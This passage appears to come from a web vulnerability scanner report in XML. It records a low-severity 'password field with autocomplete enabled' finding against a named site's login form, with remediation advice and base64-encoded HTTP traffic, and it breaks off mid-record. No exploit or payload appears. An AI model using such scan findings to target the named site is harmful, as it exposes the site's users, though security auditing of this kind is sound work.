hcCI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM2LDE0MiwxNDksMTUyIiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MiI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM0LDE4NiwxNTAsMTk2IiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MCI+CjwvbWFwPgo8L2JvZHk+CjwvaHRtbD4K]]></response>
60 <responseRedirected>false</responseRedirected>
61 </requestresponse>
62 </issue>
63 <issue>
64 <serialNumber>3831322476981454848</serialNumber>
65 <type>5244928</type>
66 <name>Password field with autocomplete enabled</name>
67 <host ip="200.20.20.201">http://www.example.org.ar</host>
68 <path><![CDATA[/]]></path>
69 <location><![CDATA[/]]></location>
70 <severity>Low</severity>
71 <confidence>Certain</confidence>
72 <issueBackground><![CDATA[Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.<br><br>The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks. ]]></issueBackground>
73 <remediationBackground><![CDATA[To prevent browsers from storing credentials entered into HTML forms, you should include the attribute <b>autocomplete="off"</b> within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).]]></remediationBackground>
74 <issueDetail><![CDATA[The page contains a form with the following action URL:<ul><li>http://www.example.org.ar/login.php</li></ul>The form contains the following password field with autocomplete enabled:<ul><li>pass</li></ul>]]></issueDetail>
75 <requestresponse>
76 <request base64="true"><![CDATA[R0VUIC8gSFRUUC8xLjENCkhvc3Q6IHd3dy5zYWx1ZGFjdGl2YS5vcmcuYXINClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwLjg7IHJ2OjIzLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMjMuMA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo=]]></request>
77 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjEyOjAyIEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpYLVBvd2VyZWQtQnk6IFBIUC81LjIuMTcNCkV4cGlyZXM6IFRodSwgMTkgTm92IDE5ODEgMDg6NTI6MDAgR01UDQpDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MA0KUHJhZ21hOiBuby1jYWNoZQ0KU2V0LUNvb2tpZTogUEhQU0VTU0lEPTk0NTg1YWEwYzExY2YyZTg2NGQ4M2UyNDY3OGI5ODY1OyBwYXRoPS8NCktlZXAtQWxpdmU6IHRpbWVvdXQ9MjAsIG1heD0yMDANCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sDQpDb250ZW50LUxlbmd0aDogNjA2MDYNCg0KIDxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIiAvPgo8dGl0bGU+U2FsdWQgQWN0aXZhIC0gQWJ1c28gdmlvbGVuY2lhIHkgbWFsdHJhdG88L3RpdGxlPgoKPHNjcmlwdD4gCiAgICAvL2VzdG8gcGFyYSBwYXNhcmxlIGFsIGZsYXNoIGxhcyB2YXJpYWxiZXMgZGVsIHBocAogCQoKCXZhciBib3Q9Jyc7Ci8vYWxlcnQodmFyaWFibGVTZXJ2aWRvcik7Cjwvc2NyaXB0Pgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiPgo8IS0tCmZ1bmN0aW9uIE1NX3ByZWxvYWRJbWFnZXMoKSB7IC8vdjMuMAogIHZhciBkPWRvY3VtZW50OyBpZihkLmltYWdlcyl7IGlmKCFkLk1NX3ApIGQuTU1fcD1uZXcgQXJyYXkoKTsKICAgIHZhciBpLGo9ZC5NTV9wLmxlbmd0aCxhPU1NX3ByZWxvYWRJbWFnZXMuYXJndW1lbnRzOyBmb3IoaT0wOyBpPGEubGVuZ3RoOyBpKyspCiAgICBpZiAoYVtpXS5pbmRleE9mKCIjIikhPTApeyBkLk1NX3Bbal09bmV3IEltYWdlOyBkLk1NX3BbaisrXS5zcmM9YVtpXTt9fQp9Ci8vLS0+Cjwvc2NyaXB0Pgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCjwvaGVhZD4KCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiIHR5cGU9InRleHQvSmF2YVNjcmlwdCI+CjwhLS0KZnVuY3Rpb24gTU1fcmVsb2FkUGFnZShpbml0KSB7ICAvL3JlbG9hZHMgdGhlIHdpbmRvdyBpZiBOYXY0IHJlc2l6ZWQKICBpZiAoaW5pdD09dHJ1ZSkgd2l0aCAobmF2aWdhdG9yKSB7aWYgKChhcHBOYW1lPT0iTmV0c2NhcGUiKSYmKHBhcnNlSW50KGFwcFZlcnNpb24pPT00KSkgewogICAgZG9jdW1lbnQuTU1fcGdXPWlubmVyV2lkdGg7IGRvY3VtZW50Lk1NX3BnSD1pbm5lckhlaWdodDsgb25yZXNpemU9TU1fcmVsb2FkUGFnZTsgfX0KICBlbHNlIGlmIChpbm5lcldpZHRoIT1kb2N1bWVudC5NTV9wZ1cgfHwgaW5uZXJIZWlnaHQhPWRvY3VtZW50Lk1NX3BnSCkgbG9jYXRpb24ucmVsb2FkKCk7Cn0KTU1fcmVsb2FkUGFnZSh0cnVlKTsKLy8tLT4KCjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCjwvaGVhZD4KCjxib2R5IGJhY2tncm91bmQ9ImltZy9mb25kb19kZWdyYWRlLmpwZyIgdG9wbWFyZ2luPSIwIj4KPHRhYmxlIHdpZHRoPSIxMDA1IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgPHRyPiAKICAgIDx0ZCB3aWR0aD0iOTYiPjxpbWcgc3JjPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzBfMDEuanBnIiB3aWR0aD0iOTYiIGhlaWdodD0iMjA4IiAvPjwvdGQ+CiAgICA8dGQgd2lkdGg9IjgwOSI+IDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KQUNfRkxfUnVuQ29udGVudCggJ2NvZGViYXNlJywnaHR0cDovL2Rvd25sb2FkLm1hY3JvbWVkaWEuY29tL3B1Yi9zaG9ja3dhdmUvY2Ficy9mbGFzaC9zd2ZsYXNoLmNhYiN2ZXJzaW9uPTcsMCwxOSwwJywnd2lkdGgnLCc4MDknLCdoZWlnaHQnLCcyMDgnLCdzcmMnLCdzd2YvaGVhZGVyJywncXVhbGl0eScsJ2hpZ2gnLCdwbHVnaW5zcGFnZScsJ2h0dHA6Ly93d3cubWFjcm9tZWRpYS5jb20vZ28vZ2V0Zmxhc2hwbGF5ZXInLCdtb3ZpZScsJ3N3Zi9oZWFkZXInICk7IC8vZW5kIEFDIGNvZGUKPC9zY3JpcHQ+IDxub3NjcmlwdD4KICAgICAgPG9iamVjdCBjbGFzc2lkPSJjbHNpZDpEMjdDREI2RS1BRTZELTExY2YtOTZCOC00NDQ1NTM1NDAwMDAiIGNvZGViYXNlPSJodHRwOi8vZG93bmxvYWQubWFjcm9tZWRpYS5jb20vcHViL3Nob2Nrd2F2ZS9jYWJzL2ZsYXNoL3N3Zmxhc2guY2FiI3ZlcnNpb249NywwLDE5LDAiIHdpZHRoPSI4MDkiIGhlaWdodD0iMjA4Ij4KICAgICAgICA8cGFyYW0gbmFtZT0ibW92aWUiIHZhbHVlPSJzd2YvaGVhZGVyLnN3ZiIgLz4KICAgICAgICA8cGFyYW0gbmFtZT0icXVhbGl0eSIgdmFsdWU9ImhpZ2giIC8+CiAgICAgICAgPGVtYmVkIHNyYz0ic3dmL2hlYWRlci5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9IjgwOSIgaGVpZ2h0PSIyMDgiPjwvZW1iZWQ+IAogICAgICA8L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIHdpZHRoPSIxMiUiIHJvd3NwYW49IjUiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzAwMDAwMCI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI0NjEiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaW1nL1F1aWVuZXNTb21vc19BMl8wXzEzLmpwZyI+IAogICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CkFDX0ZMX1J1bkNvbnRlbnQoICdjb2RlYmFzZScsJ2h0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCcsJ3dpZHRoJywnOTYnLCdoZWlnaHQnLCc0NjEnLCdzcmMnLCdzd2Yvc3VibWVudScsJ3F1YWxpdHknLCdoaWdoJywncGx1Z2luc3BhZ2UnLCdodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyJywnbW92aWUnLCdzd2Yvc3VibWVudScgKTsgLy9lbmQgQUMgY29kZQo8L3NjcmlwdD4gPG5vc2NyaXB0PgogICAgICA8b2JqZWN0IGNsYXNzaWQ9ImNsc2lkOkQyN0NEQjZFLUFFNkQtMTFjZi05NkI4LTQ0NDU1MzU0MDAwMCIgY29kZWJhc2U9Imh0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+CiAgICAgICAgPHBhcmFtIG5hbWU9Im1vdmllIiB2YWx1ZT0ic3dmL3N1Ym1lbnUuc3dmIiAvPgogICAgICAgIDxwYXJhbSBuYW1lPSJxdWFsaXR5IiB2YWx1ZT0iaGlnaCIgLz4KICAgICAgICA8ZW1iZWQgc3JjPSJzd2Yvc3VibWVudS5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+PC9lbWJlZD48L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgYmdjb2xvcj0iI0ZGRkZGRiI+CiAgICAgICAgPHRyPiAKICAgICAgICAgIDx0ZCB3aWR0aD0iMTciIHJvd3NwYW49IjciPjxwPiZuYnNwOzwvcD48L3RkPgogICAgICAgICAgPHRkIHdpZHRoPSIxNzIiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxpbWcgc3JjPSJpbWcvM3B4LmpwZyIgd2lkdGg9IjUiIGhlaWdodD0iNSI+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PGxpbmsgaHJlZj0iLi4vZXN0aWxvcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIC8+Cjxib2R5IGJnY29sb3I9IiNDQ0NDQ0MiIHRvcG1hcmdpbj0iNiBweCI+PHRhYmxlIHdpZHRoPSIxNjUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIzIiBiZ2NvbG9yPSIjRkZGRkZGIj4KPHRyPgogICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTkxIiBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiAgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MThfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+SG9tZTwvYT48L3RkPgogIDwvdHI+Cjx0cj4KICA8dGQgaGVpZ2h0PSIyOCIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj4mbmJzcDsmbmJzcDtOb3RpY2lhczwvYT48L3RkPgo8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJkb25hY2lvbmVzLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmb25kb2JvdG9uIj5Eb25hY2lvbmVzPC9hPjwvdGQ+CiAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciICB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yM19uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5IaXN0b3JpYWwgZGUgbmV3c2xldHRlcnM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTEzYSIgY2xhc3M9ImZvbmRvYm90b24iPkVudmlhciBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yNl9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5WZXIgdHJhYmFqb3MgZGUgdXN1YXJpb3M8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MTZfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+U2FsdWQgQWN0aXZhIHByZW5zYTwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJtYWlsdG86c2FsdWRhY3RpdmFAc2FsdWRhY3RpdmEub3JnLmFyIiBjbGFzcz0iZm9uZG9ib3RvbiI+TWFuZCZhYWN1dGU7IHR1IEMuVi48L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgIHdpZHRoPSI2ImhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTIxX25ldyIgY2xhc3M9ImZvbmRvYm90b24iPkluZm9ybWFjaSZvYWN1dGU7biBkZSBpbnRlciZlYWN1dGU7czwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyI+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiBoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xMF80IiBjbGFzcz0iZm9uZG9ib3RvbiI+Q29uZ3Jlc29zCiAgICAgICAgICAgICAgICAgIHkgSm9ybmFkYXM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTExIiBjbGFzcz0iZm9uZG9ib3RvbiI+UmVnaXN0cmFjaSZvYWN1dGU7bjwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgCiAgICAgICAgICA8L3RhYmxlPgo8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNSIgdGFyZ2V0PSJfYmxhbmsiPjxicj4KICAgICAgICAgICAgICAgICAgPGltZyBzcmM9ImltZy9iYW5uZXJfZG9uYWNpb25lcy5qcGciIHdpZHRoPSIxNjIiIGhlaWdodD0iMTIwIiBib3JkZXI9IjAiPjxicj4KICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaW1nL2JvdG9uRm9yby5naWYiIHdpZHRoPSIxNzIiIGhlaWdodD0iMTE3IiBib3JkZXI9IjAiPjwvYT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTY3IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjkiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzAzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iOSIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTQ5IiBiYWNrZ3JvdW5kPSJpbWcvY2hpY29zX3BlcmRpZG9zXzA1LmdpZiI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDUuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMCI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDcuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMi5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEyLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9InNyYy9pbWdfdXAvMjMwODIwMTIuMS5qcGciIHdpZHRoPSIxNDkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMy5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNi5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iNSIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTcuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNy5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0ZFRTdDRiIgY2xhc3M9InRpdHVsb2hvbWU1Ij48c3Ryb25nPk5pJm50aWxkZTtvcyBwZXJkaWRvczxicj4KICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0yOSIgY2xhc3M9ImJvdG9uIj5bVmVyIG0mYWFjdXRlO3NdPC9hPjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTkuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xOS5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18yMC5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iMjUiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCgkJCQkNCgkJCQk8Zm9ybSBhY3Rpb249ImluZGV4LnBocD9pZD0xMSIgIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9penExLmpwZyIgd2lkdGg9IjEyIiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9hcnJpYmEuanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9kZXIxLmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiIgdmFsaWduPSJ0b3AiIGNsYXNzPSJyZWdGb25kbzEiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9penEuanBnIiB3aWR0aD0iMTIiIGhlaWdodD0iMTIiIC8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSI5NCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV90aXQuanBnIiB3aWR0aD0iNjYiIGhlaWdodD0iMjMiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSI1MCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJyZWdpc3RyYXJzZSI+SW5ncmVzJmFhY3V0ZTsgDQogICAgICAgICAgICAgIHR1cyBkYXRvcyB5IHJlY2liJmlhY3V0ZTsgbGEgbWVqb3IgaW5mb3JtYWNpJm9hY3V0ZTtuIGEgdHJhdiZlYWN1dGU7cyANCiAgICAgICAgICAgICAgZGUgbnVlc3RybzxzdHJvbmc+IE5ld3NsZXR0ZXI8L3N0cm9uZz4uIDxzdHJvbmc+PHNwYW4gY2xhc3M9ImdyYXRpcyI+R3JhdGlzITwvc3Bhbj48L3N0cm9uZz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI1IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9InRyYWJTRUNDSU9OIj5Ob21icmU8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBjbGFzcz0icmVnQ0VMREEiPjxpbnB1dCBuYW1lPSJub21icmUiIHR